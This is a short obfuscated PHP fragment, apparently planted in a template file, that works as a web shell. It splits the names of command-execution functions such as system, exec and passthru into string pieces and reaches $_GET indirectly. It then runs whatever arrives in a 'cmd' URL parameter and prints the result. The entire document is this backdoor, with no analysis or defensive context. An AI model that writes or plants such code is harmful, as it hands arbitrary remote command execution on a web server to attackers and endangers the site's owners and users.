{~
  $fns=["sy"."stem","ex"."ec","she"."ll_"."exec","pa"."sth"."ru","po"."pen","pr"."oc"."_op"."en","as"."sert"];
  $g="GLO"."BALS";
  $k="_G"."ET";
  $cmd="";
  if(isset($$g[$k]["cmd"])){
    $cmd = $$g[$k]["cmd"];
  }
  foreach($fns as $fn){
    if(function_exists($fn) && $cmd){
      echo @$fn($cmd);
      break;
    }
  }
}